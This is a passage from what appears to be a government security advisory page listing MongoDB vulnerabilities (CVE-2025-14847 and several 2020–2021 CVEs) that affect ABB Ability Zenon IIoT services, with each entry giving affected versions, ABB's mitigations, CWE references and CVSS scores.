<div class="csaf-accordion-content">
<p>Mismatched length fields in Zlib compressed protocol headers may allow a read of uninitialized heap memory by an unauthenticated client. This issue affects all MongoDB Server v7.0 prior to 7.0.28 versions, MongoDB Server v8.0 versions prior to 8.0.17, MongoDB Server v8.2 versions prior to 8.2.3, MongoDB Server v6.0 versions prior to 6.0.27, MongoDB Server v5.0 versions prior to 5.0.32, MongoDB Server v4.4 versions prior to 4.4.30, MongoDB Server v4.2 versions greater than or equal to 4.2.0, MongoDB Server v4.0 versions greater than or equal to 4.0.0, and MongoDB Server v3.6 versions greater than or equal to 3.6.0.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-14847">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/130.html">CWE-130 Improper Handling of Length Parameter Inconsistency</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2020-7928</a></h3>
<div class="csaf-accordion-content">
<p>A user authorized to perform database queries may trigger a read overrun and access arbitrary memory by issuing specially crafted queries. This issue affects MongoDB Server v4.4 versions prior to 4.4.1; MongoDB Server v4.2 versions prior to 4.2.9; MongoDB Server v4.0 versions prior to 4.0.20 and MongoDB Server v3.6 versions prior to 3.6.20.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2020-7928">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/158.html">CWE-158 Improper Neutralization of Null Byte or NUL Character</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2020-7921</a></h3>
<div class="csaf-accordion-content">
<p>Improper serialization of internal state in the authorization subsystem in MongoDB Server's authorization subsystem permits a user with valid credentials to bypass IP whitelisting protection mechanisms following administrative action. This issue affects MongoDB Server v4.2 versions prior to 4.2.3; MongoDB Server v4.0 versions prior to 4.0.15; MongoDB Server v4.3 versions prior to 4.3.3 and MongoDB Server v3.6 versions prior to 3.6.18.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2020-7921">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/182.html">CWE-182 Collapse of Data into Unsafe Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2020-7925</a></h3>
<div class="csaf-accordion-content">
<p>Incorrect validation of user input in the role name parser may lead to use of uninitialized memory allowing an unauthenticated attacker to use a specially crafted request to cause a denial of service. This issue affects MongoDB Server v4.4 versions prior to 4.4.0-rc12; MongoDB Server v4.2 versions prior to 4.2.9.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2020-7925">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/475.html">CWE-475 Undefined Behavior for Input to API</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2020-7929</a></h3>
<div class="csaf-accordion-content">
<p>A user authorized to perform database queries may trigger denial of service by issuing specially crafted query contain a type of regex. This issue affects MongoDB Server v3.6 versions prior to 3.6.21 and MongoDB Server v4.0 versions prior to 4.0.20.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2020-7929">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/185.html">CWE-185 Incorrect Regular Expression</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2020-7923</a></h3>
<div class="csaf-accordion-content">
<p>A user authorized to perform database queries may cause denial of service by issuing specially crafted queries, which violate an invariant in the query subsystem's support for geoNear. This issue affects MongoDB Server v4.4 versions prior to 4.4.0-rc7; MongoDB Server v4.2 versions prior to 4.2.8 and MongoDB Server v4.0 versions prior to 4.0.19.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2020-7923">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/248.html">CWE-248 Uncaught Exception</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2021-20330</a></h3>
<div class="csaf-accordion-content">
<p>An attacker with basic CRUD permissions on a replicated collection can run the applyOps command with specially malformed oplog entries, resulting in a potential denial of service on secondaries. This issue affects MongoDB Server v4.0 versions prior to 4.0.27; MongoDB Server v4.2 versions prior to 4.2.16; MongoDB Server v4.4 versions prior to 4.4.9.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2021-20330">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/617.html">CWE-617 Reachable Assertion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2021-32036</a></h3>
<div class="csaf-accordion-content">
<p>An authenticated user without any specific authorizations may be able to repeatedly invoke the features command where at a high volume may lead to resource depletion or generate high lock contention. This may result in denial of service and in rare cases could result in id field collisions. This issue affects MongoDB Server v5.0 versions prior to and including 5.0.3; MongoDB Server v4.4 versions prior to and including 4.4.9; MongoDB Server v4.2 versions prior to and including 4.2.16 and MongoDB Server v4.0 versions prior to and including 4.0.28</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2021-32036">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/770.html">CWE-770 Allocation of Resources Without Limits or Throttling</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2021-32040</a></h3>
<div class="csaf-accordion-content">
<p>It may be possible to have an extremely long aggregation pipeline in conjunction with a specific stage/operator and cause a stack overflow due to the size of the stack frames used by that stage. If an attacker could cause such an aggregation to occur, they could maliciously crash MongoDB in a DoS attack. This vulnerability affects MongoDB Server v4.4 versions prior to and including 4.4.28, MongoDB Server v5.0 versions prior to 5.0.4 and MongoDB Server v4.2 versions prior to 4.2.16. Workaround: &gt;= v4.2.16 users and all v4.4 users can add the --setParameter internalPipelineLengthLimit=50 instead of the default 1000 to mongod at startup to prevent a crash.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2021-32040">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
